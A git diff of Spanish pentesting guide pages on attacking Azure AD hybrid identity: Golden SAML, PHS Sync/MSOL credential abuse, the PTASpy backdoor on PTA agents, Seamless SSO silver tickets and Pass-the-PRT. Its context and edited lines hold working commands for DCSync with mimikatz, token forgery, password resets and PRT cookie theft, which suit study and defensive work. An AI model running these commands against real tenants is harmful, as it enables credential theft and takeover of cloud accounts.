src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md
View File

@@ -9,10 +9,10 @@ Para sincronizar un nuevo usuario **de AzureAD al AD on-prem** estos son los req
- El **usuario de AzureAD** necesita tener una dirección proxy (un **buzón**)
- No se requiere licencia
- No **debe estar ya sincronizado**
```powershell
```bash
Get-MsolUser -SerachString admintest | select displayname, lastdirsynctime, proxyaddresses, lastpasswordchangetimestamp | fl
```
Cuando se encuentra un usuario como estos en AzureAD, para **acceder a él desde el AD local** solo necesitas **crear una nueva cuenta** con el **proxyAddress** el correo electrónico SMTP.
Cuando se encuentra un usuario como estos en AzureAD, para **acceder a él desde el AD local** solo necesitas **crear una nueva cuenta** con la **proxyAddress** el correo electrónico SMTP.
Automáticamente, este usuario será **sincronizado desde AzureAD al usuario del AD local**.

36
src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md
View File

@@ -6,7 +6,7 @@
[De la documentación:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)**La Federación** es un conjunto de **dominios** que han establecido **confianza**. El nivel de confianza puede variar, pero típicamente incluye **autenticación** y casi siempre incluye **autorización**. Una federación típica podría incluir un **número de organizaciones** que han establecido **confianza** para el **acceso compartido** a un conjunto de recursos.
Puedes **federar tu entorno local** **con Azure AD** y usar esta federación para autenticación y autorización. Este método de inicio de sesión asegura que toda la **autenticación de usuarios ocurra en el local**. Este método permite a los administradores implementar niveles de control de acceso más rigurosos. La federación con **AD FS** y PingFederate está disponible.
Puedes **federar tu entorno local** **con Azure AD** y usar esta federación para autenticación y autorización. Este método de inicio de sesión asegura que toda la **autenticación de usuarios ocurra en el entorno local**. Este método permite a los administradores implementar niveles de control de acceso más rigurosos. La federación con **AD FS** y PingFederate está disponible.
<figure><img src="../../../../images/image (154).png" alt=""><figcaption></figcaption></figure>
@@ -26,8 +26,8 @@ En cualquier configuración de federación hay tres partes:
1. Inicialmente, una aplicación (Proveedor de Servicios o SP, como la consola de AWS o el cliente web de vSphere) es accedida por un usuario. Este paso podría ser omitido, llevando al cliente directamente al IdP (Proveedor de Identidad) dependiendo de la implementación específica.
2. Posteriormente, el SP identifica el IdP apropiado (por ejemplo, AD FS, Okta) para la autenticación del usuario. Luego, elabora una AuthnRequest SAML (Security Assertion Markup Language) y redirige al cliente al IdP elegido.
3. El IdP toma el control, autenticando al usuario. Después de la autenticación, se formula una SAMLResponse por el IdP y se reenvía al SP a través del usuario.
4. Finalmente, el SP evalúa la SAMLResponse. Si se valida con éxito, lo que implica una relación de confianza con el IdP, se concede acceso al usuario. Esto marca la finalización del proceso de inicio de sesión, permitiendo al usuario utilizar el servicio.
3. El IdP toma el control, autenticando al usuario. Después de la autenticación, se formula un SAMLResponse por el IdP y se reenvía al SP a través del usuario.
4. Finalmente, el SP evalúa el SAMLResponse. Si se valida con éxito, lo que implica una relación de confianza con el IdP, se concede acceso al usuario. Esto marca la finalización del proceso de inicio de sesión, permitiendo al usuario utilizar el servicio.
**Si deseas aprender más sobre la autenticación SAML y ataques comunes, ve a:**
@@ -37,16 +37,16 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
## Pivoting
- AD FS es un modelo de identidad basado en reclamaciones.
- "..las reclamaciones son simplemente declaraciones (por ejemplo, nombre, identidad, grupo), hechas sobre los usuarios, que se utilizan principalmente para autorizar el acceso a aplicaciones basadas en reclamaciones ubicadas en cualquier parte de Internet."
- Las reclamaciones para un usuario se escriben dentro de los tokens SAML y luego se firman para proporcionar confidencialidad por el IdP.
- Un usuario se identifica por ImmutableID. Es globalmente único y se almacena en Azure AD.
- El ImmutableID se almacena en el local como ms-DS-ConsistencyGuid para el usuario y/o puede derivarse del GUID del usuario.
- AD FS es un modelo de identidad basado en claims.
- "..las claims son simplemente declaraciones (por ejemplo, nombre, identidad, grupo), hechas sobre los usuarios, que se utilizan principalmente para autorizar el acceso a aplicaciones basadas en claims ubicadas en cualquier parte de Internet."
- Las claims para un usuario se escriben dentro de los tokens SAML y luego se firman para proporcionar confidencialidad por el IdP.
- Un usuario es identificado por ImmutableID. Es globalmente único y se almacena en Azure AD.
- El ImmutableID se almacena en local como ms-DS-ConsistencyGuid para el usuario y/o puede derivarse del GUID del usuario.
- Más información en [https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims](https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims)
**Ataque Golden SAML:**
- En ADFS, la SAML Response es firmada por un certificado de firma de token.
- En ADFS, el SAML Response es firmado por un certificado de firma de token.
- Si el certificado es comprometido, ¡es posible autenticarse en Azure AD como CUALQUIER usuario sincronizado con Azure AD!
- Al igual que nuestro abuso de PTA, el cambio de contraseña para un usuario o MFA no tendrá ningún efecto porque estamos forjando la respuesta de autenticación.
- El certificado puede ser extraído del servidor AD FS con privilegios de DA y luego puede ser utilizado desde cualquier máquina conectada a Internet.
@@ -54,9 +54,9 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
### Golden SAML
El proceso donde un **Proveedor de Identidad (IdP)** produce una **SAMLResponse** para autorizar el inicio de sesión del usuario es fundamental. Dependiendo de la implementación específica del IdP, la **respuesta** podría estar **firmada** o **encriptada** utilizando la **clave privada del IdP**. Este procedimiento permite al **Proveedor de Servicios (SP)** confirmar la autenticidad de la SAMLResponse, asegurando que fue emitida por un IdP de confianza.
El proceso donde un **Proveedor de Identidad (IdP)** produce un **SAMLResponse** para autorizar el inicio de sesión del usuario es fundamental. Dependiendo de la implementación específica del IdP, la **respuesta** podría estar **firmada** o **encriptada** utilizando la **clave privada del IdP**. Este procedimiento permite al **Proveedor de Servicios (SP)** confirmar la autenticidad del SAMLResponse, asegurando que fue emitido por un IdP de confianza.
Se puede trazar un paralelo con el [ataque de ticket dorado](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket), donde la clave que autentica la identidad y permisos del usuario (KRBTGT para tickets dorados, clave privada de firma de token para Golden SAML) puede ser manipulada para **forjar un objeto de autenticación** (TGT o SAMLResponse). Esto permite la suplantación de cualquier usuario, otorgando acceso no autorizado al SP.
Se puede trazar un paralelo con el [ataque de golden ticket](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket), donde la clave que autentica la identidad y permisos del usuario (KRBTGT para tickets dorados, clave privada de firma de token para golden SAML) puede ser manipulada para **forjar un objeto de autenticación** (TGT o SAMLResponse). Esto permite la suplantación de cualquier usuario, otorgando acceso no autorizado al SP.
Los Golden SAML ofrecen ciertas ventajas:
@@ -67,11 +67,11 @@ Los Golden SAML ofrecen ciertas ventajas:
#### AWS + AD FS + Golden SAML
[Active Directory Federation Services (AD FS)](<https://docs.microsoft.com/en-us/previous-versions/windows/server-2008/bb897402(v=msdn.10)>) es un servicio de Microsoft que facilita el **intercambio seguro de información de identidad** entre socios comerciales de confianza (federación). Esencialmente, permite que un servicio de dominio comparta identidades de usuario con otros proveedores de servicios dentro de una federación.
[Active Directory Federation Services (AD FS)](<https://docs.microsoft.com/en-us/previous-versions/windows/server-2008/bb897402(v=msdn.10)>) es un servicio de Microsoft que facilita el **intercambio seguro de información de identidad** entre socios comerciales de confianza (federación). Esencialmente, permite a un servicio de dominio compartir identidades de usuario con otros proveedores de servicios dentro de una federación.
Con AWS confiando en el dominio comprometido (en una federación), esta vulnerabilidad puede ser explotada para potencialmente **adquirir cualquier permiso en el entorno de AWS**. El ataque requiere la **clave privada utilizada para firmar los objetos SAML**, similar a necesitar el KRBTGT en un ataque de ticket dorado. El acceso a la cuenta de usuario de AD FS es suficiente para obtener esta clave privada.
Con AWS confiando en el dominio comprometido (en una federación), esta vulnerabilidad puede ser explotada para potencialmente **adquirir cualquier permiso en el entorno de AWS**. El ataque requiere la **clave privada utilizada para firmar los objetos SAML**, similar a necesitar el KRBTGT en un ataque de golden ticket. El acceso a la cuenta de usuario de AD FS es suficiente para obtener esta clave privada.
Los requisitos para ejecutar un ataque Golden SAML incluyen:
Los requisitos para ejecutar un ataque golden SAML incluyen:
- **Clave privada de firma de token**
- **Certificado público del IdP**
@@ -83,8 +83,8 @@ Los requisitos para ejecutar un ataque Golden SAML incluyen:
_Solo los elementos en negrita son obligatorios. Los demás pueden ser completados según se desee._
Para adquirir la **clave privada**, es necesario acceder a la **cuenta de usuario de AD FS**. Desde allí, la clave privada puede ser **exportada del almacén personal** utilizando herramientas como [mimikatz](https://github.com/gentilkiwi/mimikatz). Para recopilar la otra información requerida, puedes utilizar el complemento Microsoft.Adfs.Powershell de la siguiente manera, asegurándote de haber iniciado sesión como el usuario de ADFS:
```powershell
Para adquirir la **clave privada**, es necesario tener acceso a la **cuenta de usuario de AD FS**. Desde allí, la clave privada puede ser **exportada del almacén personal** utilizando herramientas como [mimikatz](https://github.com/gentilkiwi/mimikatz). Para recopilar la otra información requerida, puedes utilizar el complemento de Microsoft.Adfs.Powershell de la siguiente manera, asegurándote de haber iniciado sesión como el usuario de ADFS:
```bash
# From an "AD FS" session
# After having exported the key with mimikatz
@@ -115,7 +115,7 @@ python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -
<figure><img src="../../../../images/image (128).png" alt=""><figcaption></figcaption></figure>
### On-prem -> nube
```powershell
```bash
# With a domain user you can get the ImmutableID of the target user
[System.Convert]::ToBase64String((Get-ADUser -Identity <username> | select -ExpandProperty ObjectGUID).tobytearray())
@@ -134,7 +134,7 @@ Export-AADIntADFSSigningCertificate
Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose
```
También es posible crear ImmutableID de usuarios solo en la nube e impersonarlos.
```powershell
```bash
# Create a realistic ImmutableID and set it for a cloud only user
[System.Convert]::ToBase64String((New-Guid).tobytearray())
Set-AADIntAzureADObject -CloudAnchor "User_19e466c5-d938-1293-5967-c39488bca87e" -SourceAnchor "aodilmsic30fugCUgHxsnK=="

18
src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md
View File

@@ -4,7 +4,7 @@
## Información Básica
[De la documentación:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **La sincronización de hash de contraseña** es uno de los métodos de inicio de sesión utilizados para lograr identidad híbrida. **Azure AD Connect** sincroniza un hash, del hash, de la contraseña de un usuario desde una instancia de Active Directory local a una instancia de Azure AD basada en la nube.
[De la documentación:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **La sincronización de hash de contraseña** es uno de los métodos de inicio de sesión utilizados para lograr la identidad híbrida. **Azure AD Connect** sincroniza un hash, del hash, de la contraseña de un usuario desde una instancia de Active Directory local a una instancia de Azure AD basada en la nube.
<figure><img src="../../../../images/image (173).png" alt=""><figcaption></figcaption></figure>
@@ -23,7 +23,7 @@ Cuando un usuario local quiere acceder a un recurso de Azure, la **autenticació
Cuando PHS está configurado, algunas **cuentas privilegiadas** se crean automáticamente:
- La cuenta **`MSOL_<installationID>`** se crea automáticamente en AD local. Esta cuenta recibe un rol de **Cuentas de Sincronización de Directorio** (ver [documentación](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) lo que significa que tiene **permisos de replicación (DCSync) en el AD local**.
- La cuenta **`MSOL_<installationID>`** se crea automáticamente en el AD local. Esta cuenta recibe un rol de **Cuentas de Sincronización de Directorio** (ver [documentación](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) lo que significa que tiene **permisos de replicación (DCSync) en el AD local**.
- Se crea una cuenta **`Sync_<nombre del servidor ADConnect local>_installationID`** en Azure AD. Esta cuenta puede **restablecer la contraseña de CUALQUIER usuario** (sincronizado o solo en la nube) en Azure AD.
Las contraseñas de las dos cuentas privilegiadas anteriores se **almacenan en un servidor SQL** en el servidor donde **Azure AD Connect está instalado.** Los administradores pueden extraer las contraseñas de esos usuarios privilegiados en texto claro.\
@@ -33,14 +33,14 @@ Es posible extraer la configuración de una de las tablas, siendo una de ellas e
`SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;`
La **configuración encriptada** está encriptada con **DPAPI** y contiene las **contraseñas del usuario `MSOL_*`** en AD local y la contraseña de **Sync\_\*** en AzureAD. Por lo tanto, comprometer estas es posible para elevar privilegios en el AD y en AzureAD.
La **configuración encriptada** está encriptada con **DPAPI** y contiene las **contraseñas del usuario `MSOL_*`** en el AD local y la contraseña de **Sync\_\*** en AzureAD. Por lo tanto, comprometer estas es posible para elevar privilegios en el AD y en AzureAD.
Puedes encontrar una [visión general completa de cómo se almacenan y desencriptan estas credenciales en esta charla](https://www.youtube.com/watch?v=JEIR5oGCwdg).
### Encontrando el **servidor de conexión de Azure AD**
### Encontrando el **servidor de Azure AD connect**
Si el **servidor donde está instalado Azure AD connect** está unido al dominio (recomendado en la documentación), es posible encontrarlo con:
```powershell
```bash
# ActiveDirectory module
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl
@@ -48,7 +48,7 @@ Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAc
Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}
```
### Abusando de MSOL\_*
```powershell
```bash
# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
Get-AADIntSyncCredentials
@@ -61,8 +61,8 @@ Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.lo
### Abusando de Sync\_\*
Comprometiendo la cuenta **`Sync_*`** es posible **restablecer la contraseña** de cualquier usuario (incluidos los Administradores Globales)
```powershell
Comprometer la cuenta **`Sync_*`** permite **restablecer la contraseña** de cualquier usuario (incluidos los Administradores Globales)
```bash
# This command, run previously, will give us alse the creds of this account
Get-AADIntSyncCredentials
@@ -83,7 +83,7 @@ Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustA
# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)
```
También es posible **modificar las contraseñas de solo los usuarios de la nube** (incluso si eso es inesperado)
```powershell
```bash
# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
# The CloudAnchor is of the format USER_ObjectID.
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID

16
src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md
View File

@@ -4,7 +4,7 @@
## Información Básica
[Desde la documentación:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) La Autenticación Passthrough de Azure Active Directory (Azure AD) permite a sus usuarios **iniciar sesión tanto en aplicaciones locales como en aplicaciones basadas en la nube utilizando las mismas contraseñas**. Esta función proporciona a sus usuarios una mejor experiencia: una contraseña menos que recordar, y reduce los costos del servicio de asistencia de TI porque es menos probable que sus usuarios olviden cómo iniciar sesión. Cuando los usuarios inician sesión utilizando Azure AD, esta función **valida las contraseñas de los usuarios directamente contra su Active Directory local**.
[Desde la documentación:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) La Autenticación Passthrough de Azure Active Directory (Azure AD) permite a tus usuarios **iniciar sesión tanto en aplicaciones locales como en aplicaciones basadas en la nube utilizando las mismas contraseñas**. Esta función proporciona a tus usuarios una mejor experiencia: una contraseña menos que recordar, y reduce los costos del soporte técnico de TI porque es menos probable que tus usuarios olviden cómo iniciar sesión. Cuando los usuarios inician sesión utilizando Azure AD, esta función **valida las contraseñas de los usuarios directamente contra tu Active Directory local**.
En PTA, las **identidades** están **sincronizadas** pero las **contraseñas** **no** lo están como en PHS.
@@ -15,7 +15,7 @@ La autenticación se valida en el AD local y la comunicación con la nube se rea
<figure><img src="../../../../images/image (92).png" alt=""><figcaption></figcaption></figure>
1. Para **iniciar sesión**, el usuario es redirigido a **Azure AD**, donde envía el **nombre de usuario** y la **contraseña**.
2. Las **credenciales** son **encriptadas** y se colocan en una **cola** en Azure AD.
2. Las **credenciales** son **encriptadas** y colocadas en una **cola** en Azure AD.
3. El **agente de autenticación local** recoge las **credenciales** de la cola y las **desencripta**. Este agente se llama **"agente de autenticación passthrough"** o **agente PTA.**
4. El **agente** **valida** las credenciales contra el **AD local** y envía la **respuesta** **de vuelta** a Azure AD, que, si la respuesta es positiva, **completa el inicio de sesión** del usuario.
@@ -25,15 +25,15 @@ La autenticación se valida en el AD local y la comunicación con la nube se rea
### Local -> nube
Si tiene acceso **administrativo** al **servidor Azure AD Connect** con el **agente PTA** en ejecución, puede usar el módulo **AADInternals** para **insertar una puerta trasera** que **validará TODAS las contraseñas** introducidas (por lo que todas las contraseñas serán válidas para la autenticación):
```powershell
Si tienes acceso **administrativo** al **servidor Azure AD Connect** con el **agente PTA** en ejecución, puedes usar el módulo **AADInternals** para **insertar una puerta trasera** que **validará TODAS las contraseñas** introducidas (así que todas las contraseñas serán válidas para la autenticación):
```bash
Install-AADIntPTASpy
```
> [!NOTE]
> Si la **instalación falla**, esto se debe probablemente a la falta de [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe).
También es posible **ver las contraseñas en texto claro enviadas al agente PTA** utilizando el siguiente cmdlet en la máquina donde se instaló el backdoor anterior:
```powershell
```bash
Get-AADIntPTASpyLog -DecodePasswords
```
Este backdoor hará:
@@ -43,16 +43,16 @@ Este backdoor hará:
- Inyectar `PTASpy.dll` al proceso `AzureADConnectAuthenticationAgentService`
> [!NOTE]
> Cuando el servicio AzureADConnectAuthenticationAgent se reinicia, PTASpy es “descargado” y debe ser reinstalado.
> Cuando el servicio AzureADConnectAuthenticationAgent se reinicia, PTASpy se “descarga” y debe ser reinstalado.
### Nube -> Local
> [!CAUTION]
> Después de obtener **privilegios de GA** en la nube, es posible **registrar un nuevo agente PTA** configurándolo en una **máquina controlada por el atacante**. Una vez que el agente está **configurado**, podemos **repetir** los **pasos anteriores** para **autenticar usando cualquier contraseña** y también, **obtener las contraseñas en texto claro.**
### SSO Sin Problemas
### SSO Sin Interrupciones
Es posible usar SSO Sin Problemas con PTA, que es vulnerable a otros abusos. Revísalo en:
Es posible usar SSO Sin Interrupciones con PTA, que es vulnerable a otros abusos. Revísalo en:
{{#ref}}
seamless-sso.md

20
src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md
View File

@@ -4,24 +4,24 @@
## Información Básica
[Desde la documentación:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) **firma automáticamente a los usuarios cuando están en sus dispositivos corporativos** conectados a su red corporativa. Cuando está habilitado, **los usuarios no necesitan escribir sus contraseñas para iniciar sesión en Azure AD**, y generalmente, ni siquiera escribir sus nombres de usuario. Esta función proporciona a sus usuarios un fácil acceso a sus aplicaciones basadas en la nube sin necesidad de componentes adicionales en las instalaciones.
[De la documentación:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) **inicia sesión automáticamente a los usuarios cuando están en sus dispositivos corporativos** conectados a su red corporativa. Cuando está habilitado, **los usuarios no necesitan escribir sus contraseñas para iniciar sesión en Azure AD**, y generalmente, ni siquiera escribir sus nombres de usuario. Esta función proporciona a sus usuarios un acceso fácil a sus aplicaciones basadas en la nube sin necesidad de componentes adicionales en las instalaciones.
<figure><img src="../../../../images/image (275).png" alt=""><figcaption><p><a href="https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works">https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works</a></p></figcaption></figure>
Básicamente, Azure AD Seamless SSO **firma a los usuarios** cuando están **en un PC unido a un dominio local**.
Básicamente, Azure AD Seamless SSO **inicia sesión a los usuarios** cuando están **en un PC unido a un dominio local**.
Es compatible tanto con [**PHS (Password Hash Sync)**](phs-password-hash-sync.md) como con [**PTA (Pass-through Authentication)**](pta-pass-through-authentication.md).
Es compatible tanto con [**PHS (Sincronización de Hash de Contraseña)**](phs-password-hash-sync.md) como con [**PTA (Autenticación Passthrough)**](pta-pass-through-authentication.md).
El SSO de escritorio utiliza **Kerberos** para la autenticación. Cuando se configura, Azure AD Connect crea una **cuenta de computadora llamada AZUREADSSOACC`$`** en el AD local. La contraseña de la cuenta `AZUREADSSOACC$` es **enviada en texto plano a Azure AD** durante la configuración.
Los **tickets de Kerberos** están **encriptados** utilizando el **NTHash (MD4)** de la contraseña y Azure AD utiliza la contraseña enviada para desencriptar los tickets.
Los **tickets de Kerberos** son **encriptados** utilizando el **NTHash (MD4)** de la contraseña y Azure AD utiliza la contraseña enviada para desencriptar los tickets.
**Azure AD** expone un **endpoint** (https://autologon.microsoftazuread-sso.com) que acepta **tickets** de Kerberos. El navegador de la máquina unida al dominio reenvía los tickets a este endpoint para SSO.
### Local -> nube
La **contraseña** del usuario **`AZUREADSSOACC$` nunca cambia**. Por lo tanto, un administrador de dominio podría comprometer el **hash de esta cuenta**, y luego usarlo para **crear tickets de plata** para conectarse a Azure con **cualquier usuario local sincronizado**:
```powershell
```bash
# Dump hash using mimikatz
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit
@@ -39,7 +39,7 @@ $key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos
```
Con el hash ahora puedes **generar tickets de plata**:
```powershell
```bash
# Get users and SIDs
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier
@@ -72,14 +72,14 @@ Para utilizar el ticket plateado, se deben ejecutar los siguientes pasos:
#### Opción 2 sin dcsync - SeamlessPass
También es posible realizar este ataque **sin un ataque dcsync** para ser más sigiloso, como se [explica en esta publicación de blog](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/). Para eso solo necesitas uno de los siguientes:
También es posible realizar este ataque **sin un ataque dcsync** para ser más sigiloso, como [se explica en esta publicación de blog](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/). Para eso solo necesitas uno de los siguientes:
- **Un TGT de un usuario comprometido:** Incluso si no tienes uno pero el usuario fue comprometido, puedes obtener uno utilizando el truco de delegación de TGT falso implementado en muchas herramientas como [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) y [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9).
- **Golden Ticket**: Si tienes la clave KRBTGT, puedes crear el TGT que necesitas para el usuario atacado.
- **El hash NTLM o la clave AES de un usuario comprometido:** SeamlessPass se comunicará con el controlador de dominio con esta información para generar el TGT.
- **Hash NTLM o clave AES de la cuenta AZUREADSSOACC$:** Con esta información y el Identificador de Seguridad (SID) del usuario a atacar, es posible crear un ticket de servicio y autenticarte con la nube (como se realizó en el método anterior).
- **Hash NTLM o clave AES de la cuenta AZUREADSSOACC$:** Con esta información y el Identificador de Seguridad (SID) del usuario a atacar, es posible crear un ticket de servicio y autenticar con la nube (como se realizó en el método anterior).
Finalmente, con el TGT es posible usar la herramienta [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) con:
Finalmente, con el TGT es posible utilizar la herramienta [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) con:
```
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_TGT>
```
@@ -87,7 +87,7 @@ Más información para configurar Firefox para trabajar con SSO sin problemas se
#### ~~Creando tickets de Kerberos para usuarios solo en la nube~~ <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
Si los administradores de Active Directory tienen acceso a Azure AD Connect, pueden **configurar SID para cualquier usuario en la nube**. De esta manera, los **tickets** de Kerberos pueden ser **creados también para usuarios solo en la nube**. El único requisito es que el SID sea un [SID](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc778824(v=ws.10)>).
Si los administradores de Active Directory tienen acceso a Azure AD Connect, pueden **configurar SID para cualquier usuario en la nube**. De esta manera, los **tickets** de Kerberos **también se pueden crear para usuarios solo en la nube**. El único requisito es que el SID sea un [SID](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc778824(v=ws.10)>).
> [!CAUTION]
> Cambiar el SID de los usuarios administradores solo en la nube ahora está **bloqueado por Microsoft**.\

36
src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md
View File

@@ -12,7 +12,7 @@ az-primary-refresh-token-prt.md
```
Dsregcmd.exe /status
```
En la sección del estado SSO, deberías ver el **`AzureAdPrt`** configurado en **SÍ**.
En la sección del estado de SSO, deberías ver el **`AzureAdPrt`** configurado en **SÍ**.
<figure><img src="../../../images/image (140).png" alt=""><figcaption></figcaption></figure>
@@ -36,7 +36,7 @@ La cookie PRT se llama en realidad **`x-ms-RefreshTokenCredential`** y es un JSO
```
El **Primary Refresh Token (PRT)** actual está encapsulado dentro del **`refresh_token`**, que está encriptado por una clave bajo el control de Azure AD, lo que hace que su contenido sea opaco e indecriptable para nosotros. El campo **`is_primary`** significa la encapsulación del token de actualización primario dentro de este token. Para asegurar que la cookie permanezca vinculada a la sesión de inicio de sesión específica para la que fue destinada, se transmite el `request_nonce` desde la página `logon.microsoftonline.com`.
### Flujo de Cookies PRT usando TPM
### Flujo de la cookie PRT usando TPM
El proceso **LSASS** enviará al TPM el **KDF context**, y el TPM usará la **session key** (recolectada cuando el dispositivo fue registrado en AzureAD y almacenada en el TPM) y el contexto anterior para **derivar** una **clave**, y esta **clave derivada** se usa para **firmar la cookie PRT (JWT).**
@@ -46,14 +46,14 @@ Por lo tanto, incluso si el PRT no puede ser extraído porque está ubicado dent
<figure><img src="../../../images/image (31).png" alt=""><figcaption></figcaption></figure>
## Escenarios de Abuso de PRT
## Escenarios de abuso de PRT
Como **usuario regular**, es posible **solicitar el uso de PRT** pidiendo a LSASS datos de SSO.\
Esto se puede hacer como **aplicaciones nativas** que solicitan tokens del **Web Account Manager** (intermediario de tokens). WAM pasa la solicitud a **LSASS**, que pide tokens usando una afirmación PRT firmada. O se puede hacer con flujos **basados en navegador (web)** donde una **cookie PRT** se usa como **encabezado** para autenticar solicitudes a las páginas de inicio de sesión de Azure AS.
Esto se puede hacer como **aplicaciones nativas** que solicitan tokens al **Web Account Manager** (intermediario de tokens). WAM pasa la solicitud a **LSASS**, que pide tokens usando una afirmación de PRT firmada. O se puede hacer con **flujos basados en navegador (web)** donde se usa una **cookie PRT** como **encabezado** para autenticar solicitudes a las páginas de inicio de sesión de Azure AS.
Como **SYSTEM**, podrías **robar el PRT si no está protegido** por TPM o **interactuar con las claves PRT en LSASS** usando APIs criptográficas.
## Ejemplos de Ataques Pass-the-PRT
## Ejemplos de ataque Pass-the-PRT
### Ataque - ROADtoken
@@ -61,7 +61,7 @@ Para más información sobre esta forma [**consulta esta publicación**](https:/
Para generar una cookie PRT válida, lo primero que necesitas es un nonce.\
Puedes obtener esto con:
```powershell
```bash
$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"
@@ -77,19 +77,19 @@ $Result.Nonce
AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA
```
O usando [**roadrecon**](https://github.com/dirkjanm/ROADtools):
```powershell
```bash
roadrecon auth prt-init
```
Luego puedes usar [**roadtoken**](https://github.com/dirkjanm/ROADtoken) para obtener un nuevo PRT (ejecuta la herramienta desde un proceso del usuario a atacar):
```powershell
```bash
.\ROADtoken.exe <nonce>
```
Como una sola línea:
```powershell
```bash
Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}
```
Luego puedes usar la **cookie generada** para **generar tokens** para **iniciar sesión** usando Azure AD **Graph** o Microsoft Graph:
```powershell
```bash
# Generate
roadrecon auth --prt-cookie <prt_cookie>
@@ -101,7 +101,7 @@ Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>
### Ataque - Usando AADInternals y un PRT filtrado
`Get-AADIntUserPRTToken` **obtiene el token PRT del usuario** de la computadora unida a Azure AD o unida de forma híbrida. Utiliza `BrowserCore.exe` para obtener el token PRT.
```powershell
```bash
# Get the PRToken
$prtToken = Get-AADIntUserPRTToken
@@ -109,7 +109,7 @@ $prtToken = Get-AADIntUserPRTToken
Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
```
O si tienes los valores de Mimikatz, también puedes usar AADInternals para generar un token:
```powershell
```bash
# Mimikat "PRT" value
$MimikatzPRT="MC5BWU..."
@@ -146,15 +146,15 @@ HttpOnly: Set to True (checked)
